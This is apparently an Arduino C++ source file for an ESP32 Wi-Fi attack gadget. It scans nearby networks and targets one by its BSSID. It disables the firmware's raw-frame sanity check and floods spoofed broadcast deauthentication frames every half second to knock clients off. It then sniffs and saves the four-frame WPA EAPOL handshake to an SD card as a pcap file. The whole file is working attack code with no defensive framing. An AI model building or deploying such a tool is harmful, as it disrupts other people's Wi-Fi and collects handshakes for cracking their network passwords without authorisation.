Files
cute-handshake-capture/ESP32-C6-LCD-1.47-Demo/Arduino/examples/LVGL_Arduino/HandshakeCapture.cpp
2026-03-17 20:07:32 -07:00

256 lines
6.7 KiB
C++

#include "HandshakeCapture.h"
#include "SD_Card.h"
#include "LVGL_Driver.h"
#include <algorithm>
// Bypass ESP32 frame sanity check
extern "C" int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3) {
return 0;
}
// Global variables
Network networks[20];
Network target;
bool is_capturing = false;
bool with_deauth = false;
uint8_t eapol_count = 0;
bool beacon_captured = false;
uint8_t* pcap_buffer = nullptr;
size_t pcap_size = 0;
int current_target_index = -1;
void handshakeCaptureInit() {
// Set WiFi mode and enable promiscuous mode
WiFi.mode(WIFI_AP_STA);
esp_wifi_set_promiscuous(true);
esp_wifi_set_promiscuous_rx_cb(promiscuousRxCallback);
}
// Comparison function for sorting networks by RSSI (descending)
bool compareRSSI(const Network& a, const Network& b) {
return a.rssi > b.rssi;
}
void scanNetworksSortedByRSSI() {
// Clear previous scan results
memset(networks, 0, sizeof(networks));
// Perform scan
int n = WiFi.scanNetworks(false, true); // async, hidden
if (n == 0) {
return;
}
// Fill networks array with scanned data (up to 20)
int limit = min(n, 20);
for (int i = 0; i < limit; i++) {
String ssid = WiFi.SSID(i);
if (ssid.isEmpty()) {
networks[i].ssid = "<HIDDEN>";
} else {
networks[i].ssid = ssid;
}
memcpy(networks[i].bssid, WiFi.BSSID(i), 6);
networks[i].ch = WiFi.channel(i);
networks[i].rssi = WiFi.RSSI(i);
// Determine encryption type
wifi_auth_mode_t encryption = WiFi.encryptionType(i);
if (encryption == WIFI_AUTH_OPEN) networks[i].encryption = "Open";
else if (encryption == WIFI_AUTH_WEP) networks[i].encryption = "WEP";
else if (encryption == WIFI_AUTH_WPA_PSK) networks[i].encryption = "WPA";
else if (encryption == WIFI_AUTH_WPA2_PSK) networks[i].encryption = "WPA2";
else if (encryption == WIFI_AUTH_WPA_WPA2_PSK) networks[i].encryption = "WPA/WPA2";
else if (encryption == WIFI_AUTH_WPA2_ENTERPRISE) networks[i].encryption = "WPA2 Enterprise";
else networks[i].encryption = "Unknown";
networks[i].handshake_captured = false;
}
// Sort by RSSI (strongest first)
std::sort(networks, networks + limit, compareRSSI);
}
void setTarget(int index) {
if (index >= 0 && index < 20 && !networks[index].ssid.isEmpty()) {
target = networks[index];
current_target_index = index;
}
}
int getCurrentTargetIndex() {
return current_target_index;
}
bool isHandshakeCaptured(int index) {
if (index >= 0 && index < 20) {
return networks[index].handshake_captured;
}
return false;
}
void markHandshakeCaptured(int index) {
if (index >= 0 && index < 20) {
networks[index].handshake_captured = true;
// Update UI color to red
Ui_SetNetworkColor(index, lv_palette_main(LV_PALETTE_RED));
}
}
void startCapture(bool deauth) {
if (target.ssid.isEmpty()) {
return;
}
if (is_capturing) {
return;
}
pcapInit();
handshake_captured = false;
beacon_captured = false;
eapol_count = 0;
with_deauth = deauth;
is_capturing = true;
// Set to target channel
esp_wifi_set_channel(target.ch, WIFI_SECOND_CHAN_NONE);
}
void stopCapture() {
if (!is_capturing) return;
if (pcap_size > 0) {
saveHandshakeToSD();
}
is_capturing = false;
with_deauth = false;
}
void saveHandshakeToSD() {
// Create filename with timestamp and SSID
String timestamp = String(millis() / 1000);
String filename = "/handshake_" + target.ssid + "_" + timestamp + ".pcap";
filename.replace(" ", "_"); // Remove spaces from filename
File file = SD.open(filename, FILE_WRITE);
if (!file) {
Serial.println("Failed to create file on SD");
return;
}
if (file.write(pcap_buffer, pcap_size) == pcap_size) {
Serial.printf("Handshake saved to %s (%d bytes)\n", filename.c_str(), pcap_size);
markHandshakeCaptured(current_target_index);
} else {
Serial.println("Error writing file to SD");
}
file.close();
// Clean up
free(pcap_buffer);
pcap_buffer = nullptr;
pcap_size = 0;
}
void promiscuousRxCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
if (!is_capturing) return;
wifi_promiscuous_pkt_t* pkt = (wifi_promiscuous_pkt_t*)buf;
uint8_t* payload = pkt->payload;
uint16_t len = pkt->rx_ctrl.sig_len;
if (len < 36) return;
uint8_t frame_type = payload[0];
bool is_beacon = frame_type == 0x80;
// Capture beacon frame
if (is_beacon && !beacon_captured && memcmp(&payload[10], target.bssid, 6) == 0) {
Serial.println("Captured beacon frame");
beacon_captured = true;
pcapAppend(payload, len);
return;
}
// Capture EAPOL frames (handshake)
if ((frame_type == 0x08 || frame_type == 0x88) &&
(memcmp(&payload[10], target.bssid, 6) == 0 || memcmp(&payload[4], target.bssid, 6) == 0)) {
uint16_t ethertype = (payload[32] << 8) | payload[33];
if (ethertype == 0x888E) { // EAPOL
eapol_count++;
Serial.printf("Captured EAPOL frame %d/4\n", eapol_count);
pcapAppend(payload, len);
if (eapol_count >= 4) {
handshake_captured = true;
Serial.println("Complete handshake captured!");
stopCapture();
}
}
}
}
void pcapInit() {
free(pcap_buffer);
pcap_size = sizeof(pcap_global_header_t);
pcap_buffer = (uint8_t*)malloc(pcap_size);
pcap_global_header_t header = {
.magic_number = 0xa1b2c3d4,
.version_major = 2,
.version_minor = 4,
.thiszone = 0,
.sigfigs = 0,
.snaplen = 65535,
.network = 105 // LINKTYPE_IEEE802_11
};
memcpy(pcap_buffer, &header, sizeof(header));
}
void pcapAppend(const uint8_t* frame, size_t len) {
if (!frame || len == 0) return;
pcap_record_header_t rec = {
.ts_sec = millis() / 1000,
.ts_usec = (millis() % 1000) * 1000,
.incl_len = len,
.orig_len = len
};
uint8_t* new_buf = (uint8_t*)realloc(pcap_buffer, pcap_size + sizeof(rec) + len);
if (!new_buf) return;
memcpy(new_buf + pcap_size, &rec, sizeof(rec));
memcpy(new_buf + pcap_size + sizeof(rec), frame, len);
pcap_buffer = new_buf;
pcap_size += sizeof(rec) + len;
}
void sendDeauth() {
if (!is_capturing || !with_deauth) return;
uint8_t deauth_packet[26] = {
0xC0, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x01, 0x00
};
// Set BSSID in packet
memcpy(&deauth_packet[10], target.bssid, 6);
memcpy(&deauth_packet[16], target.bssid, 6);
// Send packet
esp_wifi_80211_tx(WIFI_IF_STA, deauth_packet, sizeof(deauth_packet), false);
Serial.println("Sent deauth packet");
}
void handshakeCaptureLoop() {
static unsigned long last_deauth = 0;
if (is_capturing && with_deauth && millis() - last_deauth > 500) {
sendDeauth();
last_deauth = millis();
}
}